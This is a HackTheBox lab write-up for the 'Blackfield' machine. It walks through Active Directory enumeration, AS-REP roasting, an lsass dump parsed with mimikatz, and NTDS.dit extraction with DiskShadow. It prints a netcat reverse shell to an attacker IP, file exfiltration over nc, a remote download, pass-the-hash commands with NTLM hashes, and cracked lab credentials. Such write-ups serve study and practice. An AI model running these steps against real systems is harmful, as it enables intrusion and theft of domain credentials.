Blackfield (HTB)

this is one of the hardest boxes ive ever done

HackTheBox – Blackfield Write-Up

topics: Active Directory, Windows Privilege Escalation, Hash Cracking, Brute forcing, rabbit holes, SMB/SAMBA/MSRPC, Active enumeration (lateral movement), NTLM hashes, post exploitation, digital forensics, file transferring, powershell, pass the hash

  1. Plan

  2. Enumeration

  3. Initial Access

  4. Local Privilege Escalation

  5. System Privilege Escalation

new tools: rpcclient, diskshadow, evil-winrm

tools: nmapAutomator, kerbrute, getnpusers.py, johntheripper, smbmap, smbclient, smbget, mimikatz, powershell (SeBackupPrivilege)

Plan

This machine is not CTF like whatsoever, there is a bit of a custom exploitation that will lead us to a CVE for probably initial access. They key here will be thorough enumeration of each port and service individually. We should also keep in mind some real-life scenarios we could potentially encounter on windows machines, it will be beneficial to return to Windows PrivEsc Arena for this box.

Enumeration

initial nmap scan ./nmapAutomator.sh $ip Basic

What exactly are we looking at? We have several ports open, most of which indicate this is an active directory machine that we'll have to exploit. We have ports

  • 53 DNS

  • 88 Kerberos

  • 135 RPC

  • 389 LDAP

  • 445 SMB

  • 593 HTTP RPC Ep Map

  • 3268 Microsoft Global Catalog

We'll have to enumerate each port individually, we've already ran a vulnerability scan that was blocked by antivirus and didn't return any pertinent information.

DNS (53)

There are many DNS enumeration tools we can use, including nslookup, dig and nmap. Since we only have an IP and a port, we can't enumerate domain names we aren't aware of. We can use dnsrecon to extract some information.

dnsrecon -d 10.10.10.192

The output message seemed very specific so after a quick search I came across the IP on the Internet Assigned Numbers Authority website stating the following

This seems like a root owned DNS server named DC01.BLACKFIELD.local. Lets only come back to this port if we have not found any other foothold.

Kerberos (88)

Kerberos is the authentication aspect of Active Directory, meaning it is responsible for verifying the validity of users and server data. When an invalid username is requested the server responds using the Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine that the username was invalid. Valid usernames will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, indicating that the user is required to perform pre-authentication.

This means we'll be able to brute force Kerberos if we can obtain usernames from the server. I have used a tool kerbrute that I will refer to if we find some.

MSRPC (135/593)

Microsoft Remote Procedure Call is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer's network.

We can query the RPC locator service and individual RPC endpoints to catalog interesting services running over the network. Each UUID value gathered through this process denotes an RPC service.

We can use the rpcdump.py impacket script to enumerate this port. I stored the output in a text file as it was sizeable.

python3 /usr/share/doc/python3-impacket/examples/rpcdump.py 10.10.10.192 -p 135 >> /tmp/rpc.txt

I immediately notice a couple .exe files as we're aware that MSRPC is used for executing programs on another computer. Lets parse this file for all executable files

cat /tmp/rpc.txt | grep .exe

We have a few notable programs here. I found a table below that explains the functions of each program, including some that allow us to execute commands.

This could be our initial foothold if we can determine a way to execute these programs and potentially send ourselves a shell.

LDAP (389/3268)

While Kerberos is the authentication protocol of Active Directory, LDAP is the protocol that provides the means to query information in the directory. We can attempt to extract information from the site with python

The connection is reset by the peer, meaning we cannot extract information without credentials. We can also run an nmap enumeration script nmap -n --script=ldap* 10.10.10.192

There appears to be only one root owned service, lets return to this only if there are no other options.

SMB (445)

We can use smbclient to enumerate this port. We can input the IP as the host and request not to ask for the password.

smbclient -L //10.10.10.192 -N

We have mostly standard shares however, we have two unique ones named forensic and profiles. Lets inspect both of these shares with smbclient //10.10.10.192/share -N

We didn't have access to the forensic share but there appears to be usernames listed in the profiles$ share. Lets make a directory and download the contents of the share.

smbclient //10.10.10.192/profiles$

Enumeration Results

Initial Access

Brute forcing, Hash Cracking, and Rabbit Holes

We can use the usernames to brute force the Kerberos service, store the content of the directory in a file with ls >> user.txt

./kerbrute_linux_amd64 userenum -d blackfield.local --dc blackfield.local user.txt -t 100

Kali has pre-installed tools (GetNPUsers.py) that allow us to exploit the Kerberos feature, ASREPRoasting. The above usernames indicate they are accounts that don't require pre-authentication, enabling us to retrieve a ticket-granting-ticket hash value to impersonate the user.

python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile newUser.txt

We can see that the account support has UF_DONT_REQUIRE_PREAUTH set and we've retrieved the TGT hash value to crack. Store the hash in a file and crack with john

Now that we have credentials support:#00^BlackKnight, lets inspect the services we were previously denied from and determine our permissions for the other SMB shares with smbmap

smbmap -H blackfield.local -d blackfield.local -u support -p "#00^BlackKnight"

We have read permissions for the NETLOGON and SYSVOL shares, lets inspect their contents.

smbclient //10.10.10.192/SYSVOL -U support (NETLOGON was empty)

We can see this share contains system volume information on the machine. Two of the directories are empty, and inspecting the Policies directory lists a couple .ini files, configuration files for initialization programs in Windows. These were not of value however, as they contained only the license type of the server. I also searched for admin credentials and .xml files with no success.

This appears to be a rabbit hole, as the only shares we do have access to do not contain sensitive data or a way to execute arbitrary commands. We've exhausted most all possibilities with this service, lets return to the only other service that didn't draw blanks, MSRPC.

Lets login with rpcclient and enumerate our privileges

rpcclient 10.10.10.192 -U support

We have over 35 privileges on this service as the support user, lets see if there is a way we can send a shell back to ourselves as well as run some other essential commands listed below.

Although we have 376 users, we only know of 3 valid users for the Kerberos service, audit2020, svc_backup and the current one support. We have numerous privileges for the MSRPC service and limited privileges with the support account. It could be the case that we're able to change the password of one of the other valid accounts and expose access to more information.

Lateral Movement

The hint to this box was heavy enumeration and real-life like, meaning that we most likely will not be able to achieve local privilege access with only the credentials of the support account. We can try and infer account privileges based on the names. Support had read only access to four shares, most of them default excluding the forensic share. Considering this, we also know that between the three known users, audit2020 is unique to this machine. In real-life scenarios, auditing would be associated with digital forensic analysis, therefore enabling us to make an educated guess of their relation.

We can attempt to change the password of the audit user to view the forensic share.

This seemed to work, lets try and inspect the forensic share.

Downloading all the contents with smbclient was a mistake as there are too many individual files to parse through, instead lets download all the files with smbget

Local Privilege Escalation

The information contained here is extremely sensitive and likely will provide us with means for local privilege escalation. We have lists of:

  • admins

  • standard users

  • groups

  • firewall configuration

  • network information

  • system information

  • running processes

In addition to this information we also have

  • memory analysis with .DMP memory dump files

  • tools used during forensic analysis

  • installed programs

The most interesting piece of information that we have are .DMP files within the .zip compressed file. There are over 15 files in this directory, but immediately the ones that stand out are winlogon and lsass.

Lsass.exe (Local Security Authority Subsystem Service) is the process on an Active Directory machine responsible for database lookups, authentication, and replication. Meaning the memory dump of this file more than likely contains password hashes for users. As svc_backup is the only default user left on Blackfield that we haven't exploited, we most likely will be able to achieve a shell through this user.

I ran into many troubleshooting problems with volatility an app native to Kali for extracting information from memory dump files. Instead I transferred the file to a windows machine and ran mimikatz to parse for hashed passwords. I used the systeminfo text file to determine the CPU architecture.

mimikatz was able to return the NTLM hash for the user svc_backup. As we were unable to obtain the LM hash and execute a pass the hash attack, we can use evil-winrm in its place.

ruby evil-winrm.rb -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Administrator Privilege Escalation

The shell immediately takes us to the user's Documents folder, housing a script with a particular syntax.

I tried to run powercat on the machine but it was blocked by the antivirus. Let's instead google the syntax.

Searching up the content of the script led me to this tutorial, allowing us to dump the NTLM hash of the Administrator. DiskShadow is a Microsoft signed binary used with operations related to the Volume Shadow Copy Service (VSS), which creates a consistent shadow copy (aka a snapshot or a point-in-time copy) of the system, with full access permissions.

The DiskShadow binary has two modes interactive and script meaning a script can be used to automate the process of NTDS.DIT extraction. The NTDS.DIT file is a database that stores Active Directory data; information about user objects, groups, etc. It includes the password hashes for all users in the domain, including the administrator.

Observing the given script it seemed as if all we had to do was run the command diskshadow.exe /s c:\users\svc_backup\documents\script and extract the admin's NTLM hash to pass, but we received an error. After parsing through blogs, articles, and forums related to to DiskShadow I came across the following script to create a snapshot of the system. 

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

I was unable to edit the file directly on the victim machine so I downloaded it from the attacker using (New-Object System.Net.WebClient).DownloadFile("http://10.10.15.63/disk.txt", "C:\Windows\Temp\disk.txt")

Switching to the E: drive and listing the contents of the NTDS directory.

Next we need to copy the system registry hive as it contains the key needed to decrypt the NTDS file. reg save hklm\system c:\windows\temp\system.bak

Transferring Files to Kali

We need to transfer these files back to the attacker to run secretdump.py and crack the hashes. First I attempted to transfer the files with ncat but I didn't have the proper permissions.

For the system.bak file, I was unable to input the file with ncat using the < operator, as its used for something else in powershell. Instead I downloaded nc64 to \temp, listened for it and sent the cmd with .\nc.exe 10.10.15.63 1234 -e cmd.exe. I then listened for and sent the .bak file with nc.exe 10.10.15.63 4444 < system.bak

For the ntds.dit file, it was trickier. I didn't have permissions to copy the file to \temp from the E: drive and repeat my steps. I also tried to copy it with powershell using the SeBackupPrivilege module but it was not installed. Luckily I was able to find the necessary .dll files on github. Download them to the victim and run the command Copy-FileSeBackupPrivilege e:\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

Transfer the file the same way with system.bak and verify the size

Cracking NTLM Hashes

Now that we were able to transfer both the system hive and the NTDS.dit file, we can run secretdump.py to list the hashes of every single account on the domain controller.

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system.bak LOCAL >> hashes.txt

We finally have the Administrator's NTLM hash. We can use evil-winrm to pass the hash with ruby evil-winrm.rb -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

PreviousWindows PrivEsc ArenaNextRa (THM)

Last updated